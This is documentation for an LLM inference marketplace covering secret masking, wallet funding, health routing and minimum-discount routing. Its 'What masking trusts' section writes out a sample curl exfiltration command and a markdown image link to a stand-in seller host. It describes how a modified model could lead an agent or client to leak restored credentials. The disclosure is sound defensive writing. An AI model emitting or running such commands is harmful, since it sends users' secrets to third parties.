comes back, Surplus swaps every placeholder for your real value, so your agent reads the reply as if nothing had been masked. Masking is **off by default** for every account and every key. You turn it on per request, per key or for the whole account, and you can turn the key and account switches off again at any time. **What the seller sees, and what you get back** 1. **Your request**: holds sk-proj-… 2. **Masked at Surplus**: sent as SI\_SECRET\_APIKEY\_… 3. **The seller's model**: answers with the placeholder 4. **Restored for you**: you get sk-proj-… back The value never leaves Surplus. The seller's model works with the placeholder, and Surplus puts your value back in the reply before it reaches you. ## What it protects against Every request is served by a seller: a third party running the provider account your request is routed to. Masking keeps your credentials out of **what that seller can read and log** - their own request logs, their provider's logs, and anything their stack stores. It is aimed at secrets that end up in prompts by accident or by necessity: a `.env` file an agent reads, a stack trace with a token in it, a connection string in a config, a key you paste while debugging. It is not a replacement for keeping credentials out of prompts, and it trusts the seller's model with where a restored value goes - read [What masking trusts](https://www.surplusintelligence.ai/docs/guides/secret-masking#what-masking-trusts) before you rely on it. ## Turning it on There are three switches. **Any one of them turns masking on**, and none of them can turn it off for a request another one turned on. | Switch | Covers | How | | ------------------ | -------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | | The request header | one request | `X-SI-Mask-Secrets: on` | | A key | every request made with that key | the **Mask secrets** switch when you create or edit a key, or `mask_secrets: true` over the API | | The account | every key of the account (a team's account covers every key in the organization) | the **Secret masking** switch on Buy › Routing, or `mask_secrets: true` on the account's preferences | ### Per request: the header Send `X-SI-Mask-Secrets: on`. It applies to that request at once, with nothing stored. The value must be exactly `on` (lower case); anything else, an empty value or the header sent twice is `400 invalid_secret_masking_header`. There is no `off` value. **The header** **curl** ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "X-SI-Mask-Secrets: on" \ -d '{"model": "claude-haiku-4.5", "messages": [{"role": "user", "content": "Why does DB_PASSWORD=… fail to connect?"}]}' ``` **OpenAI Python** ```python from openai import OpenAI client = OpenAI( base_url="https://api.surplusintelligence.ai/v1", api_key=SURPLUS_API_KEY, default_headers={"X-SI-Mask-Secrets": "on"}, # every request from this client ) ``` **OpenAI Node** ```javascript import OpenAI from 'openai'; const client = new OpenAI({ baseURL: 'https://api.surplusintelligence.ai/v1', apiKey: process.env.SURPLUS_API_KEY, defaultHeaders: { 'X-SI-Mask-Secrets': 'on' }, // every request from this client }); ``` **Anthropic Python** ```python from anthropic import Anthropic client = Anthropic( base_url="https://api.surplusintelligence.ai/anthropic", api_key=SURPLUS_API_KEY, default_headers={"X-SI-Mask-Secrets": "on"}, ) ``` **Claude Code** ```bash # Claude Code sends extra headers from this variable on every request. export ANTHROPIC_BASE_URL=https://api.surplusintelligence.ai/anthropic export ANTHROPIC_CUSTOM_HEADERS="X-SI-Mask-Secrets: on" ``` A tool that cannot set a header - Cursor, for example - can use a key with masking on instead. ### Per key Turn on **Mask secrets** when you create or edit a key in the dashboard (Buy › API keys). Over the API, set `mask_secrets: true` with any of these: **A key's switch** **Key preferences** ```bash PUT /v1/buyer/keys/{id}/preferences { "preferences": { "mask_secrets": true }, "limits": {} } # → { "preferences": { "mask_secrets": true }, "limits": {}, # "secret_masking_available": true, # "secret_masking_effective_at": "2026-10-14T12:00:31.000Z" } ``` **New key** ```bash POST /v1/keys Idempotency-Key: 6f1c… { "name": "CI agent", "mask_secrets": true } ``` **Edit a key** ```bash PATCH /v1/keys/{id} { "mask_secrets": true } ``` Preference writes **merge**: a field you leave out keeps its stored value, so you can send `mask_secrets` alone. Management (admin) keys never run inference and cannot carry the setting: `mask_secrets` on one is `400 invalid_request`. Changing a key's settings needs an unrestricted key or a signed-in session; see [API keys](https://www.surplusintelligence.ai/docs/organizations/api-keys). ### For the whole account Turn on **Secret masking** on Buy › Routing, or over the API: ```bash PUT /v1/buyer/preferences { "preferences": { "mask_secrets": true }, "limits": {} } ``` The account switch covers every key of the account, including keys created later. For a team, the account is the organization's, so it covers every member's keys in every workspace. ### Your account's choice A new account starts with masking off, and with the choice still open. The dashboard asks once, the first time you sign in, with **On** and **Off** and nothing picked for you. After that, change it on Buy › Privacy. An agent working over the API sees the same thing. `GET /v1/buyer/preferences` and a new buyer key (`POST /v1/buyer/auth/keys`, `POST /v1/buyer/keys`, `POST /v1/keys`) return `secret_masking_choice`, which is `undecided` until the account's `mask_secrets` is written and `decided` after, and `docs_url`, a link to this page. Ask your user, then save their answer on the account: ```bash PUT /v1/buyer/preferences { "preferences": { "mask_secrets": true } } ``` Send `false` for off. Either value makes the choice `decided`. An account nobody decides for stays unmasked, and the dashboard still asks on its next sign-in. ### When a switch takes effect The header applies at once. A stored switch applies within about **31 seconds** - about 70 seconds when masking has only just been turned on for the service - because each server caches your key and account settings briefly. The write that turns masking on returns `secret_masking_effective_at`, the exact time from which every request is covered, and the dashboard tells you that time when you save. Until then, send the header if you need the request covered. ## Turning it off | To stop masking… | Do this | | --------------------- | ------------------------------------------------------------------------------------------------------ | | for one request | don't send the header (and make sure neither its key nor its account has masking on) | | for a key | turn the key's **Mask secrets** switch off, or set `mask_secrets` to `false` or `null` | | for the whole account | turn **Secret masking** off on Buy › Routing, or set the account's `mask_secrets` to `false` or `null` | Two rules to know: - **A key cannot opt out of its account.** A key's `false` means the same as `null` - "not on by itself" - so while the account switch is on, every key is masked. To mask only some keys, turn the account switch off and turn masking on for those keys. - **Turning a switch off is not instant either.** For up to about 31 seconds after the write, requests can still be masked. That is the safe direction, so the write reports no time for it. ## Checking that a request was masked A response to a request that asked for masking carries these headers: | Header | Value | | --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `x-si-secret-masking` | `applied` when the request was masked; `not_applied` on a call masking does not cover (see [Which endpoints it covers](https://www.surplusintelligence.ai/docs/guides/secret-masking#which-endpoints-it-covers)), whose request was sent as it is | | `x-si-secrets-masked` | how many distinct secrets were masked, capped at 999 | | `x-si-secrets-withheld` | on a JSON response, how many placeholders were left in place (in reasoning, or where a stream could not be restored); only when more than 0 | | `: si-secrets-withheld ` | the same count on a stream, as one SSE comment line just before the stream's final event; only when more than 0 | A response with no `x-si-secret-masking` header was not masked. If a request asked for masking and carries no such header, masking is **paused** on the service (below). ### When masking is paused Masking can be paused on the service as a whole. The preference responses say so with `secret_masking_available: false`, and the dashboard shows the switches as **paused**. While it is paused, a request that asks for masking is sent **without** masking, exactly as if no switch were on, and its response carries no `x-si-secret-masking` header. Your stored switches stay as they are, and apply again when masking resumes. You can still turn a switch off while it is paused. ## How it works ### What is detected There are two kinds of secret, and both are masked. **Recognisable formats**, which identify themselves wherever they appear: - API keys with a known prefix and format: OpenAI, Anthropic, OpenRouter, Google, GitHub, GitLab, Slack, Stripe, Hugging Face, Groq, xAI, npm, PyPI, SendGrid, Resend, DigitalOcean, Shopify, Telegram bot tokens, and Surplus's own `inf_…`, `inf_admin_…` and `si_seller_…` keys; - AWS access key IDs (`AKIA…`, `ASIA…`); - private keys in PEM blocks (RSA, EC, DSA, OpenSSH, PKCS#8, encrypted, PGP) and Bitcoin WIF keys; - JWTs; - seed phrases of 12 to 25 words (BIP-39, Electrum and Algorand), including one with a typo. **Values recognised by their context**, which look like a secret only because of what surrounds them: - passwords, tokens and secrets in assignments, config and flags (`password=…`, `DB_PASSWORD: …`, `--api-key …`), in headers (`Authorization: Bearer …`, `X-…-Token: …`, session cookies) and in login shapes (`admin / …`); - the password in a connection string or URL (`postgres://user:…@host`); - hex and Solana private keys next to key-like context, and AWS secret access keys next to AWS context. A small model, run inside Surplus, decides the context cases. Well-known development defaults (`postgres`, `changeme`, `admin/admin`), documented example keys, variable references (`${API_KEY}`, `process.env.API_KEY`) and already-masked text (`****`) are left alone. Masking reads every text field of the request: the messages and their history, system and developer instructions, tool descriptions, tool calls and tool results, and any other text field. Not masked: personal data (email addresses, phone numbers, names), anything inside images, PDFs, audio or file parts, and a secret with neither a recognisable format nor context that marks it as one. ### Placeholders Each secret is replaced whole by a placeholder of the form `SI_SECRET__<8 characters>`, for example `SI_SECRET_APIKEY_K7M2Q9XA`. The kind tells the model what sort of value was there (`APIKEY`, `AWSKEY`, `PRIVATEKEY`, `SEEDPHRASE`, `PASSWORD`, `DBPASSWORD`, `TOKEN`, `JWT`, `SECRET`), so it can still reason about it. - **A recognisable value gets the same placeholder on every turn** of a conversation, so the provider's prompt cache keeps working across turns. - **A value recognised by its context gets a placeholder tied to the place it appeared**, so the model cannot learn whether one of its own guesses matches your password. - Placeholders are computed with a key of your account's own, derived inside Surplus from a key that cannot be exported. Another account's placeholder for the same value is different, and no placeholder can be turned back into its value. ### What comes back When the model writes a placeholder in its reply, Surplus replaces it with your real value before the reply reaches you - **every placeholder, wherever it appears**: in prose, in code, in tool-call arguments and structured output, in links and markup, and for every kind of secret, passwords and seed phrases included. A reply never hands your agent a placeholder it has to work around, so a config file it writes or a command it runs gets the real value. The one exception is the model's **reasoning** - thinking blocks, reasoning text and reasoning summaries - which comes back exactly as the model wrote it. Signed reasoning has to be sent back to the provider byte for byte on the next turn, and a changed block would be refused. `logprobs`, signed or encrypted fields, annotation metadata and error messages are left as they are too. On a stream, Surplus holds back only the few characters of a placeholder that is still arriving, so a value is never split across what you receive. ### Where the value lives Your secret is never stored and never logged. The map from placeholder to value exists in memory for the one request and is discarded when the response ends. Logs, events, metrics, request logs and usage records hold placeholders and counts only. A final check runs on every masked request's body before it is sent to a seller; if a detected value is somehow still in it, the request is stopped with `500 secret_egress_blocked`, nothing is sent, and any reserved funds are released. ## Which endpoints it covers **Masked:** `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/anthropic/v1/messages` and `/v1/decisions`, each with its `/min{N}` mirror. **Masked on the Provider Market:** the text calls you make through `/v1/resources/{provider}/…` and its `/min{N}` mirror. They are masked, restored and refused exactly like the endpoints above, with the same headers. | Provider | Masked calls | | ----------------- | ------------------------------------------------ | | OpenRouter | chat completions, Responses, Messages, Decisions | | Vercel AI Gateway | chat completions, Messages, Decisions | | Venice | chat completions, Responses | **Sent as they are:** `/v1/embeddings`, image generation and edits, text-to-speech, transcription, video, music, every other Provider Market call (media, embeddings, tools, model lists and job follow-ups), and the x402 resource endpoints (`/x402/resources/*`, Provider Market calls paid with x402 included). A key or account with masking on works on these like any other key, but nothing in those requests is masked: masking an embedding's input would change the embedding, and media is not text. While masking is running, their responses say so with `x-si-secret-masking: not_applied`. **Paying with x402 or MPP:** a request paid this way has no account, so only the header can turn masking on, and its placeholders change on every turn (prompt caching does not carry across turns for it). ## What masking trusts Putting every value back is a deliberate trade-off, and it is worth stating plainly. Masking is aimed at a seller's own request logging: once the response is back at Surplus, only you see what is restored. But the seller's model writes the response, and Surplus puts the value back wherever it wrote the placeholder: - **Commands and tool calls.** A seller serving a modified model could write a command that sends a placeholder to its own server, such as `curl https://seller.example/collect -d SI_SECRET_APIKEY_K7M2Q9XA`. **If your agent runs it, the seller receives the real value.** - **Links and images.** A placeholder written into a link or an image, such as `![x](https://seller.example/pixel.png?k=SI_SECRET_APIKEY_K7M2Q9XA)`, is restored there too. **A client that renders the image or previews the link sends the value to that host**, with no click needed. - **Later turns.** A password is recognised by its context. Once it is back in the conversation, a later turn that repeats it without that context - a bare value, or `PGPASSWORD=… psql …` - sends it to the seller unmasked. A connection string, an assignment (`DB_PASSWORD=…`), a JSON `password` field or a sentence naming it as a password is masked again. Review the commands and tool calls an agent runs for you as you would without masking, render model output in a client that does not load remote images when credentials are involved, and keep trusted-only routing (the default) for work that handles credentials. ## When a request is refused Masking fails closed. If a request asked for masking, masking is running, and it cannot be applied, the request is refused before any funds are reserved and nothing is sent to a seller. (While masking is paused, nothing is refused.) | Status | Code | Meaning | What to do | | ------ | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- | | 400 | `invalid_secret_masking_header` | `X-SI-Mask-Secrets` has a value other than `on` (lower case), is empty, or is sent twice | send `on`, or leave the header out | | 400 | `secret_masking_too_large` | the request has more text than masking scans (about 4.2 million characters by default; media is not counted) or more than 500 distinct secrets | send less text | | 400 | `secret_in_schema` | a secret is in a schema keyword (`enum`, `const`, `pattern`, `default` or `examples` in a tool's parameters, a response format or a custom tool's grammar), where replacing it would change what the schema means | take the secret out of the schema | | 400 | `secret_in_unmaskable_field` | a recognisable secret is in a field masking cannot change: an id, a `name`, `model`, `user`, a signature or an object key | move it out of that field | | 409 | `secret_in_signed_reasoning` | signed reasoning in the current tool-use turn contains a secret, usually history from before masking was on, and it can be neither dropped nor changed | start a new conversation, or drop that turn | | 500 | `secret_masking_failed` | masking could not be applied | retry; if it persists, quote the `request_id` to support | | 500 | `secret_egress_blocked` | a final check found a detected secret in the body about to be sent upstream; it was not sent and any reserved funds were released | retry; report it with the `request_id` | | 503 | `secret_masking_unavailable` | the stored setting the request depends on could not be read (the request did not ask by header or by its key, so the account's setting decides), or the service cannot confirm right now whether masking is running | retry; for the first, `X-SI-Mask-Secrets: on` also works | Every refusal's `message` contains a link to this page. Signed reasoning from an **earlier** turn that contains a secret is dropped from the request rather than refused, since providers do not need it. ## Cost and speed - **Price.** Masking itself is free. Placeholders change the token count slightly, so a masked request can cost a few tokens more or less than the same request unmasked. - **Latency.** Masking adds a few milliseconds to a typical request, and tens of milliseconds to a prompt of several hundred kilobytes. The reply is restored as it streams past, holding back only a placeholder that is still arriving. - **Prompt caching.** Recognisable values keep the same placeholder, so caching works across turns. A password is masked again with a new placeholder each time the conversation is sent, so the provider's cache misses from the message that holds it. ## Known limits - A secret the detectors miss is not masked. Secrets with no recognisable format and no surrounding context are the hardest case. - A value recognised by its context is masked only when the model that decides it is confident enough. There is no fallback that masks a value when it is unsure. - Images, PDFs, audio and files sent as base64 are not scanned. - Credentials in a presigned file URL (the `X-Amz-*` parameters of an S3 link, the `sig` of an Azure SAS link) are sent as they are, on purpose: the provider needs them to fetch the file. - A field masking cannot change (an id, a `name`, `model`, `user`, an object key) is checked only for recognisable formats. A value that is a secret only because of its name or context passes there unmasked. - A recognisable value gets the same placeholder in every request of your account, so a seller can tell that two requests carry the same value, though not what it is. - Twilio's 32-character hex auth token is not detected on its own: it looks like a hash or an id. Next to its name (`TWILIO_AUTH_TOKEN=…`) it is masked. - The `=` checksum at the end of an Atlassian API token and the 14-character id at the start of a Terraform Cloud token stay visible. The secret part of each is masked. - A key split across shell variables and joined where it is used (`$A$B`) is not put back together. - A value that starts with `your_`, as in `your_api_key_here`, is taken for a placeholder and left as it is when only its context marks it as a secret. - A key wrapped onto the next line without quotes is joined back when the first line's part is not a whole key, when that line is 64, 72, 76, 80, 100 or 120 characters long, or when the lines form a block of equal width. Otherwise the rest of the key, on the next line, stays visible. - A placeholder the model writes straight into following letters or digits (`SI_SECRET_APIKEY_K7M2Q9XAfoo`) is not recognised as a placeholder, and stays as written. - Putting values back changes text lengths, so on `/v1/responses` the `start_index` and `end_index` of a `url_citation` annotation that comes after a restored value are off by the difference. - A streamed request with more than one choice (`n` above 1), or a stream whose framing Surplus cannot prove matches what your client reads, comes back with its placeholders in place. They are counted as withheld. - If you disconnect in the middle of a stream, text Surplus was holding back while a placeholder was still arriving (a few dozen characters) is billed, because it was metered from the provider's output, but never delivered. - Turning masking on in the middle of a conversation drops earlier signed reasoning that contains a secret, or refuses the request with `409 secret_in_signed_reasoning` when that reasoning is in the current tool-use turn. - `logprobs` show placeholder fragments. - A restored value can still be copied by a person into a dangerous place. ## Related - [Security and privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) - what Surplus stores and logs, and the trust model as a whole. - [Routing controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls#x-si-mask-secrets--mask-secrets-in-this-request) - the header among the other per-request controls. - [API keys](https://www.surplusintelligence.ai/docs/organizations/api-keys#secret-masking-on-a-key-beta) - the per-key switch. - [Buyer endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints) - the preference endpoints in full. --- # /docs/guides/wallet-funding # Wallet Funding To fund your account with USDC, you deposit USDC on Base; deposited USDC is spendable and withdrawable. (You can also top up credits with a card instead.) Several onramp options for getting USDC on Base are available directly from the app. - MoonPay via Privy - card - Peer / ZKP2P - Venmo, Wise, Zelle - Direct Base USDC transfer → **USDC on Base, in your own wallet**: deposit it to get withdrawable credits They differ in fees, limits and which countries they serve - not in where the money lands. ## MoonPay (via Privy) Buy USDC with a card, integrated through Privy's `useFundWallet` hook. Available from the Buy page → "Fund Wallet" → "MoonPay". ## Peer (ZKP2P) P2P fiat-to-crypto via the Peer Chrome extension. Requires installing the extension first. Available from the Buy page → "Fund Wallet" → "Peer". ## Bridge from Another Chain If you already have USDC on Ethereum, Arbitrum, or another chain, bridge to Base using: - [Base Bridge](https://bridge.base.org) - [Across Protocol](https://across.to) - [Stargate](https://stargate.finance) ## Already Have USDC on Base? Send it to your deposit address on **Buy › Funding › Crypto**. Send only USDC, only on Base. --- # /docs/marketplace/health-routing # Health & Routing > **Minimum-discount routing:** The `/min{N}/` URL segment adds a minimum estimated-discount filter on marketplace seller offers, applied *after* health and trust filters and *before* the provider call. It never filters buyer-owned priority/fallback providers. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). > > **Overriding this default:** every step below can be steered per request - optimise for latency or reliability instead of price, name a provider order, refuse providers outright, and read back which offers failed. See [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls). Failure detection is passive, driven by live buyer traffic. Recovery is active: an unhealthy offer is never routed, so it cannot heal on buyer traffic, and a sweep re-probes due offers every three minutes. For a text offer that probe is a small real request (output capped at 16 tokens) and does consume a little of the seller's upstream quota; for a media offer it is a free `GET` check. ## Routing Logic ``` 1. Resolve model name (canonical, alias, provider-specific, or display name) 2. Check buyer's priority provider → try first if configured 3. Get all active marketplace offers for the requested model 4. If a request includes a provider hint (one provider or an allow-list array), keep only offers from the matching provider host(s) 5. Skip unhealthy offers (in backoff period) 6. Skip offers that have hit spending caps 7. Apply the minimum-discount floor (the key's `min_discount_pct`, the `X-Min-Discount` header, or a `/min{N}` URL — strictest wins) 8. Estimate per-request cost using the buyer's input tokens + max_tokens 9. Sort by estimated total cost (not just unit price — accounts for input/output ratio) 10. Try cheapest first 11. If seller uses Anthropic API format → auto-translate request/response 12. On failure → mark unhealthy, try next seller 13. If all sellers fail → try the buyer's catch-all fallback provider (a provider registered with `model: null` via `/v1/buyer/providers`) 14. Buyer never sees provider failures — failover is transparent ``` **Routing order:** Priority provider → marketplace sellers (cheapest first) → catch-all fallback provider (`model: null`) → universal fallback. **Cross-provider translation:** Requests are always accepted in OpenAI format. OpenAI-compatible sellers receive normalized OpenAI requests. Native Anthropic sellers use the OpenAI ⇄ Anthropic translator described in [Models & Providers](https://www.surplusintelligence.ai/docs/marketplace/models#native-anthropic-translation). Current active Claude liquidity is mainly OpenAI-compatible providers, not native Anthropic offers. ## Provider Pinning The normal buyer path is provider-agnostic: request a model and let the marketplace route to the cheapest healthy eligible offer. Advanced clients can optionally pin routing by passing `provider` (a single provider **or an array** of providers - an allow-list), `provider_url`, or `provider_base_url` in a chat completion request. Pinning does not select a specific seller offer. It narrows the eligible order book to offers from the matching provider host(s), then the router still chooses the cheapest healthy offer within that filtered set. With an array, an offer is eligible if its provider matches **any** entry, and providers you didn't list are excluded even if cheaper. If no matching provider offer is active and healthy, the request can fail even if another (unlisted) provider has liquidity for the same model. Each pinned entry is checked against the supported provider list. Unrecognized entries are dropped; if **every** entry is unrecognized the request fails with **`400 unsupported_provider`**. A *supported* provider that simply has no offer for the model returns `404 no_sellers_for_model` instead - the two cases are distinct. See [`POST /v1/chat/completions`](https://www.surplusintelligence.ai/docs/api-reference/chat-completions#provider-pinning-blocking-and-ordering) for request examples. ## Health States `active` = seller intent only (create/cancel). The health system never touches it. `healthy` = system-managed, self-healing via exponential backoff. 1. **healthy - in the order book** 2. a real request fails → **unhealthy - out of routing** 3. backoff starts → **probe scheduled** 4. after the wait → **probe succeeds → healthy again** Back to “unhealthy - out of routing” - this loop can run many times. A failure takes the offer out of routing and schedules a probe. A successful probe puts it back - a failed one sends it round again, one rung higher. Each consecutive failure climbs the ladder before the next probe is attempted: - 1st failure: 1 min - 2nd: 2 min - 3rd: 5 min - 4th: 10 min - 5th: 30 min - 6th and on: 60 min (capped) Each consecutive failure roughly doubles the wait before the next probe, up to an hour. consecutiveFailures survives a probe recovery, so a chronic flapper keeps climbing - only a real served request drops it back to the first rung. Only a successful recovery probe returns an offer to service. `consecutiveFailures` is preserved across a probe recovery, so a chronic flapper keeps climbing the backoff; only a real served request resets it. Offers with dead keys (permanently revoked, closed account) will cycle through hourly retries indefinitely. This is an intentional tradeoff - one wasted attempt per hour per dead offer vs. the risk of permanently losing offers that could recover (e.g. DIEM credit resets at midnight UTC). ## Failure Categories | Category | Examples | Backoff | Self-heals? | | ------------ | ----------------------- | ------------------------------- | --------------------------------- | | Server error | 5xx, connection refused | 30s → 60s → 120s → 10min cap | Usually | | Timeout | Request timeout | 30s → 60s → 120s → 10min cap | Usually | | Auth/config | 401, 402, 403 | 10min → 20min → 40min → 1hr cap | Often (DIEM resets, key renewals) | | Rate limited | 429 | 10-30s | Yes | | Bad response | Malformed body | 60s → 120s → 10min cap | Maybe | ## Health Log All health events are logged with: - Error category and HTTP status - Truncated error message - Action taken (backoff duration) Sellers can view their health log via `GET /v1/seller/health-log`. ## Seller Quality and Model Authenticity Health routing measures operational health: provider errors, auth failures, timeouts, backoff, and recovery after successful requests. It does not prove model identity. Today SI does not cryptographically or semantically verify that a seller advertising `claude-opus-4.6` is serving that exact model rather than proxying to another model. Trusted provider domains and health stats reduce risk but are not model attestation. Trusted-only routing is the default for new accounts; allowing untrusted providers requires an explicit opt-in via Routing preferences on `/buy` (account-level) or per-API-key in Key Management. Buyers who need stronger guarantees should keep the default or use a BYOK priority provider until reputation/model-quality scoring ships. For the full list of what is checked at listing time and in flight, what those checks establish, and how to report a suspected mismatch, see [Provider & Model Verification](https://www.surplusintelligence.ai/docs/marketplace/provider-verification). --- # /docs/marketplace/index # How the Marketplace Works Surplus Intelligence is a decentralized exchange for LLM inference. Each model has its own order book where sellers compete on price. ## The Flow **One request, end to end** 1. **Your request**: OpenAI-shaped, unchanged 2. **Authenticate & fund**: Key or 402 challenge, then a hold 3. **Order book**: Cheapest healthy seller wins 4. **Response streams**: Metered as it goes Everything up to the seller happens before your first token - the budget is single-digit milliseconds. Settlement deliberately sits after the response, not inside it. The order book is held in memory and reloaded every 30 seconds, so choosing a seller costs no database round-trip. If the chosen seller fails, the router falls through to the next one down the book and you see the count in `x-si-marketplace-attempts`. **What the order book looks like for one model** - api.example-a: ~~$0.24~~ (skipped - backing off) - bedrock-mantle: $0.29 (served this request) - openrouter.ai: $0.34 Cheapest first - but an offer that is backing off after a failure is skipped, so the price you get is the cheapest seller that can actually serve you. ## Key Concepts ### Order Book Each model has a sorted list of sellers, cheapest first. The order book reloads from DynamoDB every 30 seconds and lives in memory for fast routing. ### Routing The router tries the cheapest seller first. If it fails (5xx, timeout, auth error), it immediately falls through to the next cheapest. The buyer never sees the failure - it's transparent. ### Settlement Charging runs **after** your response, not inside it. Once the stream ends the usage is recorded and the cost is drawn from your balance. Keeping it off the request path is what stops settlement from becoming request latency. The exception is **x402**, which is captured up front because the payment proof travels with the request. ### Health Sellers are passively monitored - no health check pings burning your quota. One failure marks the offer unhealthy with a category-specific backoff. After the backoff expires, the next successful request recovers it. ## Sections - [Models & Providers](https://www.surplusintelligence.ai/docs/marketplace/models) - what models are available and who serves them - [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing) - how pricing works, cost multiplier, per-request cost estimation - [Health & Routing](https://www.surplusintelligence.ai/docs/marketplace/health-routing) - circuit breaker, failover, and seller health - [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing) - `min{N}` base URLs that require a minimum estimated discount before routing - [Zero Data Retention](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention) - route only to providers labelled ZDR, with `/zdr`, `X-SI-Require: data.zdr`, the body or a key ## Security and Privacy See [Security & Privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) for current seller key storage, prompt/response logging, deletion behavior, seller spend protections, quality-scoring limits, and settlement admin trust assumptions. --- # /docs/marketplace/minimum-discount-routing # Minimum-Discount Routing > **What this measures, and what it does not.** A minimum-discount floor compares an offer against the model's > **external list price** - what going direct to a reference provider would cost. It is a floor on how much > cheaper than list an offer must be. It is **not** a bound on how much you might overpay relative to *other > offers in this marketplace*, and it does not promise you were routed to the cheapest one. `min30` means "at > least 30% below list", not "within 30% of the best price here". For control over the latter, see > [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) and [Provider Performance](https://www.surplusintelligence.ai/docs/marketplace/provider-performance). > > The comparison is only as good as the reference price behind it. Where an offer's model has no live > competitor price, the discount is measured against our own catalog figure - see > [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing) for how a reference price is resolved and where `reference_source` is surfaced. Minimum-discount base URLs filter SI marketplace seller offers by estimated buyer discount before routing. The threshold is evaluated before the provider request using estimated request tokens or media units; for a token-priced request it is checked on the offer's per-token prices at both ends of the output range (no output, and `max_tokens`). Final realized discount may differ when actual usage differs from the estimate. Buyer-owned priority/fallback providers are not marketplace seller offers and are not covered by the minimum-discount guarantee. ## How it works Prefix the request path with a `min{N}` segment (the same form is used on x402 paths): ```text https://api.surplusintelligence.ai/min30/v1 ``` It stacks with the `zdr` segment in either order (`/min30/zdr/v1` or `/zdr/min30/v1`) to require [zero data retention](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention) as well. For every marketplace seller candidate the router computes: ```text estimated_discount_pct = (1 - estimated_buyer_cost / estimated_direct_cost) * 100 ``` An offer qualifies only when `estimated_discount_pct >= N`. The floor is evaluated on the **total you pay** - on x402 paths that includes the x402 convenience fee and any conservative buffer - not on a subtotal. The floor is applied to the request as **estimated**, which is what makes it a routing gate rather than a settlement guarantee: output length is not known before the response exists. So a token-priced request is checked at both ends of the output range: the prompt with no output, and the prompt with `max_tokens` of output (default 4096). An offer qualifies only when both ends clear the floor, so on the offer's per-token prices the floor holds for any output length up to `max_tokens` - including an input-heavy request on an offer whose discount is concentrated in output pricing. The no-output end is measured on per-token prices alone, without fixed per-request fees. A realized discount can still differ from the estimate through fixed per-request fees (x402/MPP payment fees, flat fees), cache reads, output past `max_tokens` and long-context pricing bands. `estimated_discount_pct` names this honestly; the per-request truth is always `GET /v1/requests/{id}`. If the direct/reference cost is unknown or zero, the offer cannot prove a discount and is skipped. min30 floor: 30% - seller-a - 42% - qualifies - seller-b - 31% - qualifies - seller-c - 27% - below the floor - seller-d - 18% - below the floor Offers plotted at their estimated discount below list price. Anything left of the floor is skipped - not charged for, not attempted. ## Grammar - Valid: `min0` through `min100`. - No leading zeros: `min030` is invalid; `min0` is the only zero form. - No decimals or signs: `min30.5`, `min-1` are invalid. - Invalid segments return `400 invalid_minimum_discount`. ## Supported endpoints | Method | Path | | ------ | ------------------------------------------------------------ | | POST | `/min{N}/v1/chat/completions` | | POST | `/min{N}/v1/responses` | | POST | `/min{N}/v1/completions` | | POST | `/min{N}/v1/decisions` | | POST | `/min{N}/v1/images/generations` | | POST | `/min{N}/v1/images/edits` | | POST | `/min{N}/v1/audio/speech` | | POST | `/min{N}/v1/audio/transcriptions` | | POST | `/min{N}/v1/video/generations` (async submit) | | POST | `/min{N}/v1/music/generations` (async submit) | | POST | `/anthropic/min{N}/v1/messages` (note the segment order) | | GET | `/min{N}/v1/models` (accepted; same payload as `/v1/models`) | | GET | `/min{N}/v1/prices` (accepted; same payload as `/v1/prices`) | x402-paid inference uses these **same** `/min{N}/v1/*` paths - the payment rail is selected by the x402 headers on the request, not by a separate path prefix. (There is no `/x402/min{N}/...` URL; `/x402/*` is reserved for the resource relays.) The min-discount mirror applies to inference **submit** endpoints. Catalog reads do accept the segment - `/min30/v1/models` returns `200`, not `404` - but the threshold changes nothing there: you get the same payload regardless, because it only applies at inference routing time. ## Scope and limits (v1) - **BYOK providers are not covered.** Buyer-owned priority/fallback providers are not marketplace seller offers, so they keep the normal routing order and are never subject to the discount threshold. A `min30` request can still be served by a priority provider before the marketplace, or by a fallback provider after the marketplace fails. - **Embeddings are excluded.** `/v1/embeddings` has no min-discount route yet; it ships with the embeddings marketplace work. - **Async** video/music enforce the threshold at submit time only. **Poll and cancel have no `min{N}` form at all** - only submit takes the discount segment, and `poll_url` / `cancel_url` are always returned bare (`/v1/video/generations/:id`). Use the URLs the submit response gives you rather than constructing them. Idempotency is scoped by threshold, so a `min50` submit will not return a job created earlier by a `min0` submit with the same idempotency key. - **Artifact URLs** stay non-min: `/v1/media/artifacts/...`. - **x402** text wrappers preserve the `min{N}` resource URL in payment challenges. - **`min0`** means offers must be at least no more expensive than direct/reference pricing - it is not identical to plain `/v1` routing if above-direct offers exist. - **`min100`** requires estimated buyer cost to be zero, so only a genuinely free offer can satisfy it. ## Error shape When otherwise-eligible healthy marketplace sellers miss the threshold, no buyer-owned route applies, and the cooldown 503 below does not apply, the API returns `404 minimum_discount_not_met`: ```json { "error": { "type": "invalid_request_error", "code": "minimum_discount_not_met", "message": "No marketplace sellers currently meet the minimum 30% estimated discount for 'claude-opus-4.6'. Best otherwise-eligible estimated discount is 18.4%." }, "request_id": "01M2..." } ``` The envelope is fixed - `{ error: { type, code, message, detail?, param? }, request_id? }` - so there are no top-level `minimum_discount_pct` / `best_available_discount_pct` fields. Read the figures from `message`. This **HTTP 404** can be returned when otherwise-eligible healthy marketplace sellers miss the floor — including temporary supply gaps where floor-meeting sellers are health-paused after upstream errors while pricier healthy sellers remain, or on x402, MPP, and media routes. Retry with backoff or lower the floor. When offers 